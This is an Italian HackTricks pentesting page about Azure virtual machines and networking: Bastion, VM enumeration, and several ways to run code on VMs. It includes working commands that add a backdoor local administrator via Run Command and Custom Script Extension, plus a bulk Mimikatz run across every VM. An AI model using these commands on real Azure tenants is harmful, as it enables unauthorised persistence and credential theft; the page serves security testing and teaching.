Az - Virtual Machines & Network

Supporta HackTricks

Informazioni di base

Dalla documentazione: Le macchine virtuali di Azure sono uno dei vari tipi di risorse di calcolo scalabili su richiesta offerte da Azure. Tipicamente, si sceglie una macchina virtuale quando si ha bisogno di un maggiore controllo sull'ambiente di calcolo rispetto alle altre opzioni offerte. Questo articolo fornisce informazioni su cosa dovresti considerare prima di creare una macchina virtuale, come crearla e come gestirla.

Informazioni sulla Rete di Azure

Le reti di Azure contengono entità diverse e modi per configurarle. Puoi trovare brevi descrizioni, esempi e comandi di enumerazione delle diverse entità di rete di Azure in:

Az - Azure Network

Azure Bastion

Azure Bastion offre una soluzione di accesso sicuro e completamente gestita tramite SSL per RDP (Remote Desktop Protocol) e SSH (Secure Shell) attraverso il portale di Azure. È integrato all'interno di una Rete Virtuale di Azure, consentendo la connettività RDP e SSH alle VM utilizzando IP privati, evitando la necessità di IP pubblici. Questo lo rende un'alternativa più sicura e conveniente rispetto ai metodi tradizionali che coinvolgono assegnazioni di IP pubblici e configurazioni di regole NSG per l'accesso alle VM. Sviluppatori e personale IT possono accedere in modo sicuro alle VM dal portale di Azure utilizzando i loro browser web, semplificando il processo per gli ambienti di sviluppo e test.

Per elencare tutti gli Host di Azure Bastion nel tuo abbonamento, puoi utilizzare il seguente comando:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Enumerazione delle VM

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Esegui comandi in una VM

Accesso AAD nella VM

È possibile consentire l'accesso agli utenti autenticati tramite AzureAD. Ad esempio, provando ad accedere a una VM Linux: ssh username@azure-corp.com@1.1.1.1 (è importante utilizzare l'email con azurecorp utilizzato durante il tentativo di accesso) potresti ricevere un errore come:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Basta seguire quelle istruzioni andando su https://microsoft.com/devicelogin e indicando il codice, utilizzare l'email e la password come credenziali e sarai in grado di connetterti tramite SSH (se quell'utente ha abbastanza autorizzazioni per farlo: ruolo Accesso amministratore macchina virtuale o ruolo Accesso utente macchina virtuale).

Esegui il comando

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Esegui l'Estensione Script Personalizzato

Le estensioni delle macchine virtuali (VM) di Azure sono piccole applicazioni che forniscono configurazioni post-distribuzione e compiti di automazione su Azure VM. Ad esempio, se una macchina virtuale richiede l'installazione di software, protezione antivirus o la capacità di eseguire uno script al suo interno, è possibile utilizzare un'estensione VM.

Pertanto, se hai accesso per scriverlo, puoi eseguire codice arbitrario:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

StatoConfigurazioneDesiderato (DSC)

StatoConfigurazioneDesiderato (DSC) è uno strumento PowerShell simile ad Ansible, utilizzato per configurare un host tramite codice. DSC si integra con Azure, consentendo il caricamento di file di configurazione specifici. Questi file devono rispettare una sintassi rigorosa. In particolare, l'estensione DSC in Azure può eseguire comandi da file che soddisfano determinati criteri di formattazione, anche se la sintassi non è corretta secondo gli standard DSC, come mostrato nella figura fornita.

L'esecuzione di questi comandi è facilitata dalla funzione Publish-AzVMDscConfiguration in Az PowerShell. I requisiti includono un file .PS1 con una funzione definita e il file deve essere compresso in un file .zip. Anche se la sintassi potrebbe non essere corretta per DSC, il codice verrà comunque eseguito. Tuttavia, l'estensione contrassegnerà lo stato di esecuzione come "fallimento" e nessun output del comando sarà visibile a causa dello stato sovrascritto dal messaggio di errore.

Definizioni Applicazione VM

Le Definizioni Applicazione VM consentono il rilascio ripetibile di applicazioni versionate su una VM Azure. Questa risorsa supporta il rilascio e l'aggiornamento di applicazioni su più VM. Per configurare questo, sono necessari diversi passaggi, che coinvolgono comandi come New-AzGalleryApplication e New-AzGalleryApplicationVersion in Az PowerShell.

L'esecuzione di applicazioni o comandi tramite questo metodo coinvolge il "VMAppExtension", che viene installato automaticamente quando un'applicazione viene applicata a una VM. L'estensione recupera il file dall'URI specificato e lo nomina esattamente come l'applicazione, senza estensione. Per eseguire correttamente il file, il campo "ManageActions" nella chiamata API REST deve essere configurato per rinominare il file con l'estensione appropriata. La configurazione di questo metodo, una volta completata, assomiglierà alla struttura mostrata nella figura fornita.

Tuttavia, questo metodo di esecuzione è relativamente lento, impiegando circa 3-4 minuti per eseguire un'applicazione o un comando. I file relativi a questo processo sono memorizzati in directory specifiche (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ per la copia dell'applicazione e C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ per lo stato di esecuzione).

Entrambe le tecniche forniscono modi unici per eseguire comandi e distribuire applicazioni negli ambienti Azure, ognuna con il proprio insieme di requisiti, passaggi e considerazioni.

Gruppi di Lavoratori Ibridi (HWGs) in Azure

Gruppi di Lavoratori Ibridi (HWGs) sono una funzionalità in Azure che consente ai Runbook, configurati in un Account di Automazione, di essere eseguiti su una Virtual Machine (VM) Azure che fa parte dell'HWG designato. Questa esecuzione è facilitata tramite un'estensione installata sulla VM, che distribuisce il codice del Runbook sulla VM. Un aspetto significativo di questo processo è che le credenziali effettive non sono un fattore nell'esecuzione perché il codice viene eseguito con privilegi elevati, specificamente come SYSTEM o root, come illustrato nella figura fornita.

Un dettaglio cruciale per coloro che utilizzano VM Windows 10 è la necessità di specificare la versione di PowerShell per il Runbook. Dovrebbe essere impostato per eseguire come Versione PowerShell 5.1 invece di 7.1. Questo requisito deriva dal fatto che PowerShell 7.1 non è installato per impostazione predefinita su queste VM, portando a un fallimento nell'esecuzione dello script se viene specificata la versione 7.1.

Questa funzionalità di Azure offre un metodo robusto per automatizzare e gestire attività in ambienti ibridi, consentendo una gestione centralizzata e l'esecuzione di attività su VM Azure.

Riferimenti

Sostieni HackTricks

Last updated